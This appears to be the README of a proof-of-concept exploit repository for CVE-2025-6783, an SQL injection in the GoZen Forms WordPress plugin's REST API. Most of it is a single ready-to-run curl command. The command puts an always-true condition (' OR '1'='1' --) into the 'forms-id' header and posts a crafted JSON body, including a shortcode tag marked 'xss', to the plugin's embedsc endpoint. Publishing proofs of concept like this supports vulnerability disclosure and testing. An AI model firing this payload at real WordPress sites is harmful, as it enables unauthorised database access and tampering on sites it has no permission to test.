jfriedli/cve-2025-6783Proof-of-concept exploit for CVE-2025-6783 demonstrating SQL injection via crafted HTTP headers and JSON payload against WordPress GoZen Forms REST API endpoint.
Inject an always-true condition into the WHERE clause so that every row matches:
curl -i -X POST \
-H "Content-Type: application/json" \
-H "forms-id: poc-001' OR '1'='1' -- " \
-H "domain-id: example.com" \
-d '{
"emabed_type":"iframe",
"shortcode_title":"INJECTED",
"shortcode_tag":"[xss]",
"active":0
}' \
"http://your-site.com/index.php?rest_route=/gozen-forms/v1/embedsc"